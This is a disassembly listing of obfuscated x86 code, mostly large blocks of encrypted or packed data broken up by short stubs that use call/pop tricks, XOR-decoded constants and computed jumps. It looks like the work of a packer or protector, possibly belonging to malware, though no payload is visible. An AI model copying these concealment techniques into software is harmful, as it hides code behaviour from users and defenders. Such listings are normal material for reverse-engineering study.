		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0AB52C352h, 0F1C4F982h, 0D813B83Bh, 85C7506Eh, 7E922E5h
		dd 6844h, 2AAD958Bh, 85C707E9h,	7E922B1h, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+7E923D9h]
		push	dword ptr [ebp+7E9170Dh]
		add	ebx, [ebp+7E916F5h]
		call	dword ptr [ebp+7E92285h]
		push	0
		push	ebp
		call	sub_5F666B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F666B	proc near		; CODE XREF: sdfs____:005F6663p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5F666B	endp

; ---------------------------------------------------------------------------
		db 0ABh
		dd 436DA10Fh, 0ECCB811Fh, 8058D68Dh, 858933D2h,	7E93571h
		dd 95FF006Ah, 7E90C31h,	28EBC08Bh, 5C89F774h, 4087425Eh
		dd 0AB01F36Bh, 840F688Bh, 9DD6CFA4h, 5241B44h, 0D6F2E330h
		dd 372F1D9Ah, 0B92A2124h, 462D05BBh, 2A4A8D8Dh,	6A07F0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0B56DABC3h, 0D8D89C3h, 6A07E932h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0FADFC355h
		dd 0E9C51A07h, 12h, 7F85C2AEh, 67CA456Eh, 62EC2544h, 4756C630h
		dd 85C73A8Fh, 7E922E5h,	5C78h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0D0C35747h,	5172DD1Dh, 60E3731Bh
		dd 13E8h, 0CE29CC00h, 0C98A6472h, 0AEEE08E1h, 0C1802C9Dh
		dd 4790AC6Ch, 0C498D89h, 15907E9h, 0E9181995h, 85C76107h
		dd 7E922B1h, 0
; ---------------------------------------------------------------------------
		add	edi, 3E44B7C1h
		mov	esi, [ebp+7E907ADh]
		push	dword ptr [ebp+7E90E1Dh]
		push	0
		push	eax
		call	sub_5F67A1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F67A1	proc near		; CODE XREF: sdfs____:005F6799p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5F67A1	endp

; ---------------------------------------------------------------------------
		db 67h,	5, 0D1h
		dd 0E921A476h, 0Dh, 7E8AC303h, 7DADB2Ch, 0DBE0493Ah, 8595FFEEh
		dd 6A07E922h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 2806C350h, 0BE9C9h, 0C39E0000h
		dd 0F444D837h, 3722DA0Ch, 0FF006A41h, 0E90C3195h, 0EBC08B07h
		dd 339AE46Ah, 5E71F3DBh, 85AF645Dh, 1CBB6A9Ah, 13F0DC8h
		dd 0D128A7Fh, 0B7547B11h, 85CA5300h, 0D56DCBB7h, 0BA7BCFFFh
		dd 20FD2453h, 899A9A15h, 35850079h, 69B4A899h, 1D261BDEh
		dd 10414F43h, 886CBD13h, 3924CFC2h, 221B9A3Ch, 55A9126Eh
		dd 1CF8DAC2h, 4B007F57h, 21B10507h, 0DAF46A2Dh,	6DAAF4FAh
		dd 80A3AD7Eh, 8D6DECDEh, 0F02BB48Dh, 55006A07h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 30BE011Ch
		dd 0BFDF9942h, 6850F71h, 2B000000h, 0E91B85B5h,	0D8D8907h
		dd 6A07E932h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8B22C356h, 0E908F585h,	0E585C707h
		dd 0F807E922h, 6A000057h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 5F4C357h, 22B185C7h
		dd 7E9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 1A0424h, 55450000h, 823843C3h, 0EDA22B38h, 0F7E9DB81h
		dd 0B5FF16D0h, 7E92979h, 2E8DCE81h, 95FF2296h, 7E92285h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C5C35747h
		dd 0D6D9D0EDh, 0BF9962B7h, 0C5BD894Bh, 6A07E920h, 3195FF00h
		dd 8B07E90Ch, 0DF5DEBC0h, 0F942D090h, 0BEF92C04h, 89D3CE78h
		dd 24DE4860h, 85661A5Eh, 0A1D5071Bh, 25170AFBh,	2A390ADDh
		dd 63E52BE1h, 3686E823h, 117C2D4Bh, 0C7E00554h,	7F0F6997h
		dd 0FF0B7F88h, 14721E65h, 0E1FEFB75h, 0AA7107B7h, 0D2C775B8h
		dd 0C7A6979Eh, 0A4CDA58Dh, 135DC7F6h, 0A96B6618h, 0ECBCEA3Ch
		dd 13E9h, 0E5E78300h, 24h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5F6E69
; ---------------------------------------------------------------------------
		db 79h,	0D2h, 0A2h
		dd 0EF8DA113h, 3A44EA46h, 8B0919BBh, 0D1AB4EEAh, 0F6BCC5Ch
		dd 0B1E392EAh, 0E751DC60h, 2B852850h, 99FE7701h, 9914940Dh
		dd 0CEFC286Ch, 0D6A04A98h, 0FBAF420Eh, 1C912751h, 4D89AB0h
		dd 3E38D27Ah, 2C04869Eh, 0CC106288h, 56096C80h,	2B815BFEh
		dd 5626CB93h, 9E66F48Eh, 0AAFB6333h, 0FBA2CE2Ah, 0DC5123C9h
		dd 109DDF70h, 585FC96h,	0F305C06h, 59EF89A3h, 7CA0FBCCh
		dd 0BA76DA64h, 0BF87F91Eh, 0A2820213h, 7C95314Dh, 79A824F8h
		dd 0B992BFBh, 0EE1AC32Fh, 12BE3749h, 51EC7EF8h,	3A2C4269h
		dd 181F0ADh, 13305C88h,	0FB370391h, 5C88AF0Ah, 0D0A84F30h
		dd 0FAAE400Ch, 0C9DB2B55h, 1A3EEB3Bh, 12E68773h, 1D56AE6Bh
		dd 35908431h, 32000000h, 0ED6A04Ah, 5CC51597h, 5FFE1230h
		dd 30E04282h, 0CD6FF784h, 12A47B3h, 0B8000000h,	8D4A64Ah
		dd 72D2A84Ch, 70CC4E46h, 0DE0AB345h, 3AD403Ah, 5CE68FE9h
		dd 9D5A74Ah, 73D3A94Dh,	74C8B047h, 7FC7B558h, 0E31FBE52h
		dd 17D17884h, 59FB7A02h, 517DC1B3h, 4961BDBFh, 38D224C5h
		dd 5CC54949h, 11D9CB30h, 30DA42B2h, 77BC84h, 4A060000h
		dd 9B43D5A7h, 581C3171h, 9468FE84h, 0C28E220Eh,	0C7F2522Ch
		dd 0B5588C2Dh, 6F822EC7h, 8D85310Dh, 720E6D08h,	0B94FAB4Bh
		dd 0B5C76965h, 0B7356D69h, 7514386Fh, 8831DD85h, 3119694Bh
		dd 548584h, 4ADD0000h, 4D09D5A7h, 4672D2AAh, 5B77CFB1h
		dd 537FC7B1h, 6260BCBCh, 97620B35h, 80027E0Bh, 89FC92EAh
		dd 0B410E687h, 7A08D4A6h, 0F23E38D2h, 0A44933C6h, 0D4A64A1Eh
		dd 0B9F9A842h, 5B305CC4h, 0D44DE149h, 305CC4F9h, 7C9D3CD0h
		dd 8430E084h, 1E2h, 0A44AC000h,	10B540DAh, 7A0014E3h, 0D98D18AAh
		dd 0C31FDB64h, 621F65F7h, 305C8722h, 2468EA3Ah,	0B814E87Eh
		dd 0BC18E496h, 0ED02E298h, 4FB042EBh, 0D264A049h, 0C75205A8h
		dd 50CBC650h, 0E637B56Fh, 0C65460BCh, 7D9F39B4h, 40422303h
		dd 0D5287370h, 4CEE1AC3h, 8A238332h, 8B374922h,	0E39DB3F7h
		dd 1B31E54Dh, 62FB8559h, 9C196314h, 0EAA8692h, 9B1B96ECh
		dd 7528735Ch, 0A4E49D2Fh, 6C28735Ch, 8F5CA036h,	0E2CD881h
		dd 8040C16Ch, 0FE8C1A48h, 0F2h,	33A0B3C4h, 5CC53E7Eh, 8CCD630h
		dd 384A9A18h, 226110AAh, 0F037B59Ah, 0D46652B2h, 83A90BAAh
		dd 0FA4A32C7h, 4B9742EFh, 6AF88F6Eh, 9E2C4EE2h,	96E00A46h
		dd 0C7B55804h, 518D657Fh, 11D37A9Ah, 4FF479FBh,	8C1A3D75h
		dd 3BF1h, 0C369F500h, 9B576DB1h, 2DBAB329h, 0B745019Bh
		dd 3E7E33C5h, 0D6305CC5h, 456564CCh, 0CFB05CC5h, 189809D5h
		dd 0FFB05CC5h, 0F00528D1h, 10B0E17Bh, 305CC5h, 6BBA13A2h
		dd 0C4000000h, 0A537A0B3h, 0B593F1ECh, 3E3C137h, 5ADBA5B7h
		dd 0C2225CFEh, 73928623h, 0FE9FB128h, 0C45620CAh, 8498B129h
		dd 0D47A9642h, 0BA485AAAh, 3D38737Eh, 286110AAh, 0A306351h
		dd 0E2084498h, 355B4C90h, 0CC86294h, 31B393E9h,	83514040h
		dd 66D2D020h, 463BA84Bh, 20835146h, 0B589F306h,	0AF3D672Fh
		dd 252B641Dh, 9D072873h, 0A0B3B210h, 0B3ECA537h, 7F384C98h
		dd 0A77FF913h, 1BB78F1Dh, 0D561B1F1h, 0DDE73FBDh, 9834B94Fh
		dd 453C0072h, 4B76C21Ch, 2F495BFh, 0C3793968h, 0D9B0556h
		dd 56C31494h, 10A6FC05h, 1C5EFCD8h, 6B152791h, 65E73F9Bh
		dd 0C7666699h, 0FB8DEF0Dh, 0C7BABE53h, 556C2C7h, 6DC55B49h
		dd 54263460h, 3D788h, 546F0000h, 0D7A14AF6h, 0CFA9430Fh
		dd 0C4B45B77h, 0C7455C78h, 0BEBE537Fh, 0B5C76A66h, 0B7356D69h
		dd 0B3CD636Fh, 0A9D36753h
; ---------------------------------------------------------------------------
		push	ebp
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	5C84h
		mov	[esp], esi
		push	108h
		mov	[esp], edi
		push	edx
		mov	edx, 238B6FADh
		xor	edx, 48E00BC0h
		sub	edx, 637B383Ah
		push	ebx
		mov	ebx, edx
		mov	esi, ebx
		pop	ebx
		pop	edx
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	esi
		xor	dword ptr [esp], 2A6C722Dh
		pop	dword ptr [edi+8]
		push	eax
		mov	eax, 8
		add	eax, edi
		xor	dword ptr [eax], 2A6C722Dh
		pop	eax
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 65h
		dd 7BA878Ch
; ---------------------------------------------------------------------------
		pop	edx


loc_5F6E69:				; CODE XREF: sdfs____:005F69E8j
		mov	eax, 7F0301Ch
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 37A7h
		dd 975936E3h, 0D57166FDh, 28C44004h, 0ACA9014Dh, 73E74EDAh
		dd 64EA12E2h, 8235188Dh, 0B0080A69h, 0B3E25677h, 9C03161Bh
		dd 6F0D0051h, 18586A6Ah, 6A2B460Dh, 5882408Bh, 6797885h
		dd 8F8B3315h, 0CF663B0h, 277C2986h, 3D10630Eh, 0ADC42469h
		dd 1B1E6FADh, 0D00344B4h, 8BE9091Dh, 491D413Ah,	4C3C6F7Bh
		dd 0F39E1662h, 8AD94DA5h, 25E9219Bh, 38000000h,	67BB37h
		dd 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5F74A9
; ---------------------------------------------------------------------------
		db 1Dh,	0FEh, 7Eh
		dd 0CBB145F7h, 16688E2Ah, 67E53D9Fh, 0ADCF62CEh, 238FA800h
		dd 55C76E0Eh, 9B35B83Ch, 0CF690474h, 0BDA2532Dh, 93F0B0E1h
		dd 0EA20286Ch, 0D6A04AB4h, 0CDAF420Eh, 1466F420h, 3A6E8CC8h
		dd 0E9468EAh, 0E586F07Fh, 1FAD4DFFh, 722FB9C7h,	305CB132h
		dd 4C68C0E2h, 2FADE4A8h, 0E7094599h, 0E80D4995h, 5025C88Ch
		dd 0CF4C234Bh, 65B94F48h, 23DF7EA6h, 3DF796BAh,	64D05D1Fh
		dd 9A04A9D3h, 32119100h, 24CB305Ch, 8E6A3854h, 0AB7C052Ah
		dd 0C5B6AC0Fh, 7C95F580h, 216B11A0h, 0E07B393h,	2F62FC8Eh
		dd 305C546Fh, 0FB3703A1h, 0E963FA84h, 15FCAC40h, 0EF8EF23Eh
		dd 0D06A1225h, 5A74CF45h, 0C028DA7Ah, 0BFB953FDh, 9E1E932Dh
		dd 8C305CB0h, 5CB09515h, 69257F30h, 25A3FF3Bh, 0B096168Bh
		dd 247E305Ch, 0B1A23DCCh, 9779305Ch, 0F3DB25F6h, 871B8430h
		dd 0AF000000h, 0F3B3EE78h, 1D305CC4h, 4A32C787h, 9400E8FAh
		dd 6D65F086h, 767D386Ah, 80F4B4E5h, 861C305Ch, 33752CF0h
		dd 30305C81h, 249C3DDCh, 9843124h, 8D82027Fh, 1092305Ch
		dd 4D8A2B4h, 17FB27Eh, 4B000000h, 8D4A64Ah, 72D2A84Ch
		dd 70CC4E46h, 75C9B344h, 79C5B759h, 28CB7292h, 2DBF1E76h
		dd 24A137E0h, 0C18D6910h, 0F1F353D1h, 3799D39h,	4A34C672h
		dd 740614B0h, 0D3DE1AA8h, 96CBA53h, 0A9FBABF1h,	0A74A4341h
		dd 0A94D09D5h, 54B873D3h, 9EDE73B5h, 0E597A517h, 0E19BBD19h
		dd 0D99BB11Dh, 0D1A34905h, 0C9AB410Dh, 4AEE6F75h, 0AC3061A3h
		dd 4BC5250h, 308051F8h,	4E8430DAh, 88h,	0F8829430h, 0A74A9230h
		dd 8B9B43D5h, 0C18D2109h, 0C4F14D2Fh, 1193824Ah, 0D014B5D9h
		dd 46463B3Dh, 0CE305CC5h, 0DAF46D4h, 0EA94BAE8h, 0D4CC8854h
		dd 0D3C28E56h, 2DC18D51h, 0BF16B648h, 49A7D88h,	0A24B4D38h
		dd 0B61EE850h, 3644E8A0h, 0EA465CA0h, 0B71FE786h, 0B013DFA1h
		dd 8431BE40h, 3EBEh, 0A74A0400h, 0AA4D09D5h, 0F718ACE4h
		dd 952BB985h, 69E03C49h, 54784675h, 31EC30C6h, 0A74A7E1Fh
		dd 6CE58D5h, 60A28EF0h,	8D4A64Ah, 5CC53E99h, 52FB1D30h
		dd 30E03F81h, 1BF84h, 4A0B0000h, 4E0ADAA4h, 0AE72D5ACh
		dd 0A59BAB07h, 0B6EB8517h, 305C76F6h, 70AC841Eh, 9450F91Fh
		dd 2275F882h, 9B16A037h, 37B55FA0h, 0D27A0C96h,	0BBF7433Dh
		dd 0EC70A12Dh, 72A69210h, 0C084A8D8h, 64B84E2Ch, 25A7FE5Eh
		dd 0A335CBD9h, 7563143Bh, 5D704095h, 12906C02h,	0CE44DF7Bh
		dd 29012271h, 90E208A4h, 8D3D54Ch, 2C202873h, 0C7B15B8Dh
		dd 0F183A935h, 565B972Dh, 1B8D3DC8h, 8C757B88h,	0A12B1022h
		dd 15DD739Fh, 15E98BA1h, 1DE193B9h, 0EFA23C4Eh,	287374AFh
		dd 0F8A94361h, 287374B8h, 82EE4A58h, 710329DBh,	0AAFA62FCh
		dd 1C3C028h, 7D8C1A30h,	14Fh, 66EE7845h, 0BDFDAC2Eh, 57305CC4h
		dd 597FD44Ah, 3AC814DAh, 913023FEh, 512BCF7Bh, 0D361F78Dh
		dd 9C15AF39h, 305BD71Ch, 0C2EAEF4h, 0D8109272h,	0B4AC6A29h
		dd 2AFAA837h, 43F28CAEh, 0E80F3BD1h, 0A4220290h, 9F671538h
		dd 875F1933h, 48EF6FFDh, 1AD6EC30h, 2E29CBEh, 50A64749h
		dd 87D492C5h, 58904F9Eh, 0A9CDE7Ch, 18D05242h, 74D42C95h
		dd 0CF598C1Bh, 723BD2D2h, 88604228h, 4855h, 0BAB36D00h
		dd 0C6E69B2Dh, 4EB05CC4h, 0F41AC254h, 0C028BA8Ah, 0C4B5F5ACh
		dd 3458B05Ch, 1695AA95h, 659AE984h, 50B5F5ACh, 455FB05Ch
		dd 3D2BD5B0h, 1EBEF3F5h, 0F6305BD6h, 908C01ACh,	0F2000000h
		dd 0B939EC5Bh, 2F0BBB19h, 37A0B39Dh, 76BA08A5h,	0D6ED56C3h
		dd 0DFE53943h, 8A07E149h, 37B4E54Fh, 0D5E13D67h, 0AA33547h
		dd 0DF7C5E6Fh, 6E73BFA8h, 0F64E28C2h, 7341B20Fh, 0CA736528h
		dd 0F382FC1Eh, 5A3EDA73h, 0E03C3ED2h, 7D564BE2h, 0DA5508E0h
		dd 1FC6BB4Dh, 7730632Fh, 8029B2Dh, 18790DA5h, 5763BF7Bh
		dd 0C688DC5h, 0C01CB230h, 3D00A9AFh, 2C7BA232h,	0ACA9A2B8h
		dd 0EE158C1Eh, 0A4287313h, 4CE06CFEh, 8CCD62Eh,	344E96E4h
		dd 7851F1FCh, 0C4F3B3EEh, 871D305Ch, 0EC7BF6ABh, 7B36C05Ah
		dd 305CC53Bh, 0DADACFD5h, 3A305CC4h, 6B268068h,	384C9484h
		dd 0B3C96CE8h, 0A975072Bh, 7133DF1Bh, 5F0B21ADh, 6163C3BDh
		dd 64F622D3h, 21BCCA1Ah, 0B3E3915Fh, 0EFB8A431h, 1FFF8E6Ah
		dd 0B8882304h, 1933F594h, 8C48D65Fh, 0F0240C6Eh, 88C4185Ah
		dd 0D5CA1A98h, 3CDE0AB3h, 0EB01B342h, 394148Dh,	227CC821h
		dd 21042F6Fh, 2DC3E1C8h, 0AE410D9Fh, 846C76CEh,	37768h
		dd 548F0000h, 0D7A14AF6h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h
		dd 0BEBE537Fh, 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h
		dd 0EC835E55h, 242C8904h, 0C581E589h, 4, 8704ED83h, 685C242Ch
		dd 2664h, 57240C89h, 0C781E789h, 4, 4EF81h, 3C870000h
		dd 34895C24h, 0A0B85024h, 56623260h, 0E95159BEh, 0F6814673h
		dd 0D832127h, 2D5EF021h, 5A322EC9h, 8158C189h, 4ECh, 24248900h
		dd 4240481h, 5E000000h,	1A468h,	240C8900h, 0FF08468Fh
		dd 815E2434h, 4C4h, 2434FF00h, 4C48159h, 0E9000000h, 0FFF944DAh
		dd 0A5EB1428h
; ---------------------------------------------------------------------------
		wait


loc_5F74A9:				; CODE XREF: sdfs____:005F6F0Cj
		mov	eax, 7F03664h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 13A4h
		dd 0C0651FE3h, 5D1559A4h, 95CD5073h, 94141637h,	8B7E70B1h
		dd 85764B42h, 0C01B42B0h, 0B41E4231h, 11E831A7h, 0FF000000h
		dd 22E99E4Ch, 636F7A64h, 44876ADh, 59225C4Dh, 605EFE8Bh
		dd 81614FB7h, 6A46C6h, 0DE900h,	75990000h, 5A7F51EEh, 0E3E1F264h
		dd 33EECEEDh, 57BB66C0h, 3034FFF5h, 9E9F960h, 0C7000000h
		dd 94E8F9Bh, 0E32D105Bh, 0EA815A61h, 394C359Eh,	1043C281h
		dd 0D3817703h, 27AB3E28h, 0E4C6EA81h, 0F570BF5h, 8959FFBFh
		dd 0BFF50614h, 1FA834EAh, 6003E883h, 48612DB6h,	9845C181h
		dd 0F8814114h, 0FFFF9658h, 0FFAB850Fh, 850FFFFFh, 11h
		dd 0CE9h, 0E5B71F00h, 0EB294377h, 9D2798D8h, 0AB8D8D2Bh
		dd 8107F038h, 934ECCF2h, 0F5B58B15h, 8907E919h,	0E9320D8Dh
		dd 0FC68B07h, 188Fh, 13E900h, 37650000h, 0FB46AC5Ah, 0F072E251h
		dd 0C9EB4883h, 0EFCFB3A0h, 0E585C71Fh, 5807E922h, 6A000070h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 4161C355h, 0B44BB4B2h, 89858B59h,	0C707E91Bh
		dd 0E922B185h, 7, 0C7B70F00h, 1F55B5FFh, 6A07E9h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 11E88EC3h, 0F5000000h, 159A5EA4h, 866F578Ch,	0EC93DB13h
		dd 0C6106ED0h, 0E8BF6652h, 0FF585BF2h, 0E9228595h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0A5E59D91h, 308D8533h, 6A07E9h, 0C3195FFh, 0C08B07E9h
		dd 94E71FEBh, 0BFC8EEFAh, 96E06E60h, 0BF48190h,	0F7221AD2h
		dd 0BB066577h, 7E8F4B88h, 98C03C5Fh, 2DE9BFh, 18630000h
		dd 6216h, 9 dup(0)
		dd 0E9000000h, 500h, 20CDAF4Ch,	9B1A60F4h, 0C8651739h
		dd 3FB6346Ch, 71FC789Dh, 0BF523EFBh, 8D8430BDh,	25CA660Fh
		dd 0DC7EDA5Bh, 306A13A2h, 6C8C4141h, 0CBB9D328h, 4339DC78h
		dd 0AD09E1E3h, 0A511ED8Fh, 0EF49E490h, 880C054Dh, 8B0918B4h
		dd 59B29BBh, 0CB7F9D39h, 0B7C96FDBh, 7B39321h, 0BEF38DF3h
		dd 305CC4FEh, 9D1D8C16h, 77305CC4h, 0F478A92Dh,	38049A28h
		dd 16D27B9Dh, 59FB7A04h, 8D2FC6B6h, 8632126Ah, 6AEA3B8Fh
		dd 0AA7A089Ah, 7EAA5375h, 7815A7D9h, 88F609E1h,	535E9A84h
		dd 0D5294BE1h, 5C70912Ch, 5A44830h, 3134ECD4h, 77854184h
		dd 0CC504105h, 87C964h,	11BD0000h, 12B078FCh, 4339DC78h
		dd 0AD09E1E3h, 9711ED8Fh, 0B233A5FEh, 0A40D0C08h, 8C17B135h
		dd 0C2836FFDh, 305C5EC0h, 4CAA53A5h, 5EBFFFB2h,	7499305Ch
		dd 0B6168C00h, 0B310D8A2h, 84314651h, 55554CE6h, 0BF305C6Bh
		dd 5D4B50E5h, 0FE8C7C4Ch, 1FF32h, 4ACB0000h, 0B055D3A6h
		dd 49E9C940h, 0CB6F6BBBh, 8B536DB1h, 0E5D1199Bh, 9D2FADh
		dd 8E44CE33h, 0F18BAE35h, 2901972Dh, 9534D8F5h,	30BDBF53h
		dd 69047684h, 0D5A74AD9h, 0D3A94D09h, 0B554B873h, 179EDE73h
		dd 3FD397A5h, 694E40Bh,	0E20AC70h, 1438906Ch, 0DA4CA475h
		dd 7AAA8430h, 38000000h, 0D92ED78h, 9DC193A7h, 2D16960Bh
		dd 0A4FE305Ch, 0B3C5684Ch, 5C2CBEFEh, 0BE4C5630h, 0F371A02Ch
		dd 49EFEB07h, 4EE2EF37h, 0AEBE57AFh, 5779A0Ch, 8312AB39h
		dd 7F5B974Ch, 0A113A2DAh, 8A14E88Ch, 9F0181F0h,	9113305Ch
		dd 0A7257D59h, 3AE36F5Fh, 31001799h, 365784h, 4A730000h
		dd 4D09D5A7h, 9772D2AAh, 0C2BA5F07h, 64886062h,	809531C5h
		dd 5E9A28F4h, 8A5D77Ah,	0D4A64ABAh, 0C53E9908h,	0FB1D305Ch
		dd 0E03F8152h, 1BF8430h, 0B000000h, 0F3B3EE78h,	1D305CC4h
		dd 0E90FAB87h, 95314F97h, 9A28F480h, 0A6D07A5Eh, 87077A14h
		dd 89305CC5h, 6C83DF1Bh, 9B35C168h, 5CC4A6E6h, 41306E30h
		dd 305CC541h, 0F743D1D3h, 0A2532DC3h, 82FF6C8Fh, 305CC502h
		dd 68029012h, 0B5ADFE39h, 49583437h, 9127A5FDh,	5DA1374Dh
		dd 7719B43h, 9E13A53Fh,	2873AF1Eh, 5044ACF6h, 9B35B8BAh
		dd 463F0771h, 2873AF44h, 0F319C5D1h, 4FDD5FB7h,	18DE7FE3h
		dd 0AE93138Eh, 277D2873h, 334DEFCBh, 7A041682h,	750C2EAAh
		dd 287AEBAFh, 82923A07h, 10A63C00h, 68117FCCh, 51DC9EBCh
		dd 91E309D5h, 0C8FB374Dh, 8C1ABAF8h, 13576h, 0A0B34C00h
		dd 97B3BE30h, 9971CE9Ch, 0BCE27BDCh, 40D67657h,	4EDCE63Eh
		dd 8C6C5BCh, 564C37B5h,	4E28C28Eh, 138D21BCh, 3E361B1h
		dd 0F447F481h, 0BA169B57h, 801EE690h, 0E14933C4h, 0C3552735h
		dd 17387829h, 0CAD82873h, 6D79326Eh, 0D4284CE1h, 5FFE62CEh
		dd 78F58795h, 1A8DF9CBh, 27758Ch, 0B34D0000h, 0E69B2DBAh
		dd 0B05CC4C6h, 1988544Eh, 0B05CC499h, 86A9507Ch, 3160FA71h
		dd 305CC591h, 3B8C2183h, 0AEh, 3EDC784Bh, 3E39F43Ch, 67621FA9h
		dd 4F37B594h, 2FCD8955h, 313BB4Dh, 0CB27BD81h, 5BFC58C6h
		dd 942C6C25h, 0BEE42873h, 3CCED428h, 73944545h,	1DD5CF28h
		dd 0ACE593B9h, 287393ECh, 5EE87E24h, 0C01C9EF6h, 0AC3A76C2h
		dd 941F9F12h, 0B3F12873h, 93298647h, 0F81C2873h, 0FB859751h
		dd 0A734277Ah, 7392AAEAh, 0EC0E6A28h, 0B558FC92h, 0DA731C7h
		dd 73931494h, 4AA6FC28h, 5A35255Ch, 257F3063h, 195FFDD9h
		dd 835B2868h, 24BAE820h, 0F8A1A7D8h, 6D2D64FEh,	0A720835Bh
		dd 3F71EFAh, 0EA78337Eh, 57C0530Eh, 9E9CCCC5h, 8E142872h
		dd 0A0B3A3E7h, 7CECA537h, 34384C8Bh, 3E096B69h,	694E686h
		dd 0FE78923Eh, 0DFDFD26Ch, 31286C0Ch, 9E3A8773h, 4322027Ch
		dd 8DC5E797h, 4B7D1C30h, 0A845D7A1h, 0CA878CBEh, 0D1D1C0F0h
		dd 43C2861Ah, 9A67D361h, 82621C3Eh, 805CDE36h, 4C0696Fh
		dd 4FE984F6h, 2557E5ADh, 0A335CBD9h, 1B189809h,	0AEF8C286h
		dd 861AB3F3h, 0B1475DC2h, 0AB22579h, 0CC000000h, 1A0AD254h
		dd 0F23E4498h, 0D7A14AD0h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h
		dd 0BEBE537Fh, 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h
		dd 89525E55h, 4C281E2h,	53000000h, 4BBh, 5BDA2900h, 5C241487h
		dd 670568h, 240C8900h, 59C68h, 24148900h, 6BF5756h, 8907F039h
		dd 0F1895FFEh, 148B545Eh, 4C48324h, 4EC81h, 34890000h
		dd 89CE8924h, 8B5E0872h, 89562414h, 4C681E6h, 83000000h
		dd 348704C6h, 0C8B5C24h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 3DC4E95Ch, 52BBFFF9h, 0CD20453Ch,	0F03D8CB8h
		dd 0FFC50307h, 60E05BE0h, 34ADC711h, 3C06285Eh,	6C1706Ah
		dd 2D1E974Ah, 8F06983Ch, 0E20D0C04h, 0ACE33E08h, 0CF5C672h
		dd 98F4406h, 0F14FCA27h, 0DD97C014h, 6E5F261Fh,	108F6475h
		dd 701BFE48h, 56671435h, 4A24D177h, 13E847h, 0A9F60000h
		dd 0D2711F11h, 0F6B40F18h, 0A860A957h, 4E382E5h, 0CE8B667Eh
		dd 2820F5Eh, 8B000000h,	50C681D3h, 6600005Ch, 0BF32F3B9h
		dd 16E5h, 8BCF8B66h, 34D6801Eh,	0B826F381h, 8E81FFBh, 0A7000000h
		dd 55B4849Fh, 0B0626CAFh, 0EB815977h, 23D7FA11h, 0C2816660h
		dd 840FCC09h, 0
; ---------------------------------------------------------------------------
		popa
		xor	ebx, 64DD12DEh
		push	ecx
		mov	cx, di
		pop	edx
		push	ebx
		jmp	loc_5F7C8B
; ---------------------------------------------------------------------------
		dw 8556h
; ---------------------------------------------------------------------------
		mov	esi, [edx+6EEF3886h]
		cmc


loc_5F7C8B:				; CODE XREF: sdfs____:005F7C7Dj
		pop	dword ptr [esi]
		and	ax, 3241h
		sub	esi, 4
		pusha
		and	ebx, 5433C7D3h
		popa
		sub	edi, 1
		jnz	loc_5F7CB7
		movsx	eax, dx
		jmp	loc_5F7CD2
; ---------------------------------------------------------------------------
		dw 0CE7Dh
		dd 89B4887Eh
; ---------------------------------------------------------------------------
		xor	ebx, 19h


loc_5F7CB7:				; CODE XREF: sdfs____:005F7CA0j
		call	near ptr loc_5F7CBD+4
		lodsd


loc_5F7CBD:				; CODE XREF: sdfs____:loc_5F7CB7p
		add	eax, 0F5A92F2Fh
		pop	eax
		jmp	near ptr dword_5F76B8+58Bh
; ---------------------------------------------------------------------------
		dd 768AAB1Ah, 0BBE5F38Fh
		db 61h,	78h
; ---------------------------------------------------------------------------


loc_5F7CD2:				; CODE XREF: sdfs____:005F7CA9j
		call	near ptr sub_5F7CE6
		leave
		inc	ecx
		dec	edx
; ---------------------------------------------------------------------------
		dw 0EA8Dh
		dd 0A05597A3h, 3E91644Fh
		db 71h,	0A3h

; =============== S U B	R O U T	I N E =======================================



sub_5F7CE6	proc far		; CODE XREF: sdfs____:loc_5F7CD2p
		pop	edx
		pusha
		mov	edx, ecx
		jmp	loc_5F7CF6
; ---------------------------------------------------------------------------
		db 4Ch
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 9Dh,	6Fh, 8Ch
		db 91h,	36h
; ---------------------------------------------------------------------------


